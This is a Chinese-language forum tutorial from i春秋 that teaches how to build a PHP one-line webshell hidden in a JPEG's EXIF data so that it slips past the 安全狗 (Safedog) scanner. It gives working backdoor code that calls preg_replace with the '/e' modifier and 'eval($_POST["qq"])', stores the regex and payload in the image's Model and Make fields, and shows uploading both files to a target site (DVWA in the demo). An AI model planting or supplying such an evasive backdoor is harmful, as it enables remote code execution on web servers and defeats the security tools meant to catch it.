一、前言
本文原創作者:sucppVK,本文屬i春秋原創獎勵計劃,未經許可禁止轉載!
先說明三點:
- 這個後門就是一句話木馬
- 這個不同於我們常說的圖片馬
- 這個後門是過安全狗的
這個不算什麼新姿勢,只不過被提到的次數比較少
(各大論壇常見的,無非編碼、解碼、分割等,本文不屬於以上幾種)
而且咱們i春秋論壇沒有相關資料,小弟就來拋磚引玉了。
學習本教程應具備的基礎:
- 基本瞭解一句話木馬
- 會一點點php(善於百度自學的也算)
- 基本瞭解正則匹配
第一點看我以前寫的教程就可以了:
文字教程就在咱們論壇:
http://bbs.ichunqiu.com/thread-17816-1-1.html
二、正文
2.1 先看看效果
下面就是木馬的代碼:
php <?php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); ?>
當然不光這個php文件,還有一個隱藏了後門的圖片。
也就是上面那段代碼裏面的1.jpg
將圖片和php文件,這兩都上傳的目標站點,這裏用dvwa演示:
然後訪問:
成功!
好了,再回來看看這個木馬:
<?php
$x = exif_read_data('4.jpg');
preg_replace($x['Model'], $x['Make'], '');
?>
有經驗的表哥估計已經看出端倪了,這個就是preg_replace代碼執行
下面開始教學吧。
2.2 preg_replace代碼執行
我們都知道正則匹配有八個修正符。
i是表示不區分大小寫
x表示模式中的空白忽略不計,這個不是本次教程的重點,也就不多說,
沒這方面基礎的同學,趕快去菜鳥學院(上面有提供鏈接)惡補一下
而咱們要用到的就是e
php裏只有preg_replace函數能使用這個修正符
使用e修飾符,preg_replace會將 replacement 參數(第二個參數)當作 PHP 代碼執行
php <?php preg_replace('/.*/e', '@eval($_POST["qq"])', ''); ?>
這個就是之前的一句話木馬的原型了。
.*表示匹配所有字符
把它替換成@eval($_POST["qq"]),然後執行這個eval函數
爲了讓你們更清楚,我修改成以下代碼:
php <?php preg_replace('/.*/e', 'print_r("hello world")', ''); ?>
.在正則表達式裏,匹配除 "\n" 之外的任何單個字符。
*表示匹配前面的子表達式零次或多次。
將要被處理的字符串,也就是pregreplace裏第三個參數是空,也會被匹配到,並且將之替換成printr("hello world"),執行!
因此結果就如圖片那樣,顯示hello world
因此替換成一句話木馬,@eval($_POST["qq"]),也是可以執行
是不是很神奇,可惜安全狗知道你是木馬。。
因此,咱們要把一句話藏在圖片裏,然後再調用。
如果正則表達式不過關的話,這裏是很難理解的。
2.3 什麼是EXIF
Exif就是在JPEG格式頭部插入了數碼照片的信息,包括拍攝時的光圈、快門、白平衡、ISO、焦距、日期時間等各種和拍攝條件以及相機品牌、型號、色彩編碼、拍攝時錄製的聲音以及GPS全球定位系統數據、縮略圖等。
ctf的某些圖像隱寫術題,就會把flag藏在exif裏面
php中用函數exifreaddata可以讀取jpeg的exif信息
<?php
echo '<pre>';
print_r(exif_read_data('1.jpg'));
echo '</pre>';
?>
這個就是隱藏了flag的圖片
我們把他重命名爲1.jpg,放在上面那段php的目錄下
運行:
這樣就讀取到了這個圖片的exif信息
2.4 開始製作木馬
我們需要用到工具:exif pilot
他可以修改jpg圖片的exif信息:
工具使用很簡單,下載來就能直接上手。
用php的exifreaddata函數讀取這個剛剛修改的圖片看看:
現在,再回過頭看看那段代碼,應該很清楚了吧
php <?php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); //實際等於preg_replace('/.*/e', '@eval($_POST["qq"])', '') ?>
讀取同目錄下,1.jpg的exif信息,存在$x裏
注意,$x是數組。
咱們的正則表達式存在了$x['Model']
一句話存在$x['Make']
注意區分大小寫!
咱們執行看看:
成功,看不懂的去看我的一句話木馬教程。
再看看安全狗的反應,咱們的木馬文件名依舊是text1.php
這時候已經掃不出來了23333
三、結束語
此文是我看一篇國外的文章後寫的,那篇文章已經有些年代了,所以我說不是什麼新姿勢,但過狗啊2333
而且這也能開闊思維,拋磚引玉。